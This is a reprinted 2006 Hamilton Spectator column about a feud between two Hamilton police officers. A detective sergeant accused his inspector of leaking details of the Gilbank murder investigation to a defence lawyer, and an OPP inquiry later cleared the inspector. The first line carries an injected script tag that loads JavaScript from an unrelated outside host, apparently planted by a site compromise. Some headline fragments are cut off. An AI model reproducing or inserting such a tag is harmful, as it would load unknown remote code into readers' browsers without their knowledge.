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Staff Sergeant Steve Hrab, lef<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Hamilton Spectator - Ontario,
08 July 2006

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Staff Sergeant Steve Hrab, lef

Rival cops at odds over allege

The lead detective in the shotgun murders of Lynn and Fred Gilbank accused his boss of leaking information to a lawyer connected to the accused murderers.

The Spectator has learned Detective Sergeant Steve Hrab, head of the Gilbank investigation, accused Inspector Warren Korol of sharing confidential information about the case with the lawyer who has worked for Andre Gravelle and John (Johnny K-9) Croitoru. They were both later charged with murdering the Ancaster couple.

Korol was exonerated after an OPP investigation that involved interviews with the highest ranking Hamilton police officers, right up to the deputy chief.

The case against Gravelle -- a drug smuggler and part of an organized crime family-- fell apart last month. It was withdrawn by the Crown because there was no reasonable likelihood of conviction. On the same day, murder charges were also withdrawn against Johnny K-9, an enforcer and former biker boss, because it was unlikely the Crown could prove he killed the Gilbanks.

It is no secret within the Hamilton Police Service that Korol and Hrab have a long-standing dislike for each other. Each regularly questions the ethics and integrity of the other.

So the question is this: Did the allegation and investigation have an impact on the unsuccessful double homicide case Hrab and Korol should have been focusing on?

"I don't know if there was an impact," says Deputy Chief Ken Leendertse.

"There's always the possibility there's a leak during the investigation," he says. Although the OPP concluded its investigation without laying charges, "that's not to say there wasn't a leak, but that the OPP couldn't find one."

No criminal or Police Act charges were laid against Korol.

The OPP will not even confirm it conducted an investigation let alone release its written conclusions. Deputy Chief Leendertse also refused to share that "concluding letter." So it remains a mystery what information Korol was alleged to have leaked. That raises questions of whether the allegations were frivolous in the first place.

The Gilbanks had been dead six years when the integrity of the case came under fire.

Lynn and Fred were shot in their home Nov. 16, 1998. The police theory, as revealed in court documents, was that Lynn, a criminal lawyer, was targeted for helping a former Gravelle family drug mule into witness protection after he snitched on the reputed crime lords. Fred was shot just because he was there.

Hrab, one of the service's most experienced detectives, was put in charge of the investigation. He was given a team of six full-time investigators and they were all moved to a secret, off-site location to protect their safety and the integrity of the case.

Hrab also got a new boss in major crime. Warren Korol, another seasoned homicide investigator, was promoted from detective sergeant to inspector. Korol is highly recognized for the work he did on the Sukhwinder Dhillon case, which became the subject of The Spectator's award-winning series, Poison.

Hrab was the case manager for the Dhillon case, but took a back seat to Korol in the Poison telling of the tale.

The multimillion-dollar Gilbanks investigation -- the city's most expensive and complicated double murder investigation -- moved slowly. Police gathered thousands of hours of wiretaps and turned to everyone from jailed mobsters to lip-readers for help.

On Jan. 6, 2005, Hrab and his team made their first arrest, charging Johnny K-9 with murder. On March 31, 2005, Andre Gravelle was arrested and charged with ordering the murders of Lynn and Fred Gilbanks.

Between the two arrests, on Jan. 31, 2005, Korol was told he was under investigation by the OPP, he says.

Typically it is the chief or deputy of a police service that makes the request for an outside force to investigate one of its own. The OPP criminal investigation division does fewer than 10 of those investigations across the province each year.

"I've never been told (the exact nature of the allegations) other than it was Steve Hrab who made the complaint about me," says Korol. "I haven't been told any details."

Korol says he was able to surmise, based on questions asked in his OPP interview, that he was accused of leaking information about the Gilbanks investigation to Barry Caskie. Caskie is a Hamilton criminal lawyer who has represented Andre Gravelle and his brother Paul as well as Johnny K-9.

On March 18, 2005, Korol was questioned at the Burlington OPP detachment for three hours.

"I was told (by the OPP) there was no evidence at all to suggest I'd done this, but I wanted to fully co-operate," Korol says. "It was a baseless assertion."

In the end, Korol was "cleared and vindicated" by the OPP, he says, "but there will always be a stigma."

"Obviously my credibility and integrity is the most important thing a police officer has," says Korol.

Caskie says he knew nothing of the OPP investigation into Korol until contacted for this column. When told of the allegations that Korol leaked Gilbank information to him, Caskie's response was emphatic: "Absolutely not," he said.

"It's absurd. I'm appalled by the fact someone would make these allegations."

Caskie says he has had little contact with Korol over the past two years due to the sensitivities surrounding the Gilbanks case, but has been friendly with him in the past.

"We know each other. It's a professional relationship, but over the years our relationship became closer. It was never social in that we ever went out for drinks together."

Caskie has represented Korol's brother in real estate matters and about 10 years ago Caskie bought the home Korol grew up in. Caskie says he has sometimes convinced clients to turn themselves into Korol to be arrested.

As for Caskie's relationship with Hrab, the lawyer says they had "a head-on collision" after the detective told jailed mobster Pat Musitano that one of Caskie's clients was fingering him for the Gilbanks killings. That client, Peter Montour, later slapped Hrab and the Hamilton Police with a $4-million lawsuit for endangering his safety. That lawsuit was settled out of court

Hrab declined to be interviewed for this story. He referred questions to Deputy Chief Leendertse.

Leendertse acknowledges Korol was transferred out of the Investigative Services Division which oversees major crime and has been made executive officer to Chief Brian Mullan. While that has many speculating Korol was moved to keep him away from Hrab and the Gilbanks investigation, Leendertse (who once held the executive officer position himself) says the transfer was "for professional development" reasons and is one of the most "confidential positions" in the organization.

Leendertse says the accusations by a detective sergeant against the inspector he reports to just shows Hamilton officers are not afraid to "hold each other accountable" and that they are "extremely professional and they understand these things happen at times."

"We have an organization that believes in integrity, that believes in accountability," Leendertse says.

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Article sourced from

Hamilton Spectator - Ontario,08 July 2006

Rival cops at odds over allege

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Hamilton Spectator - Ontario,
08 July 2006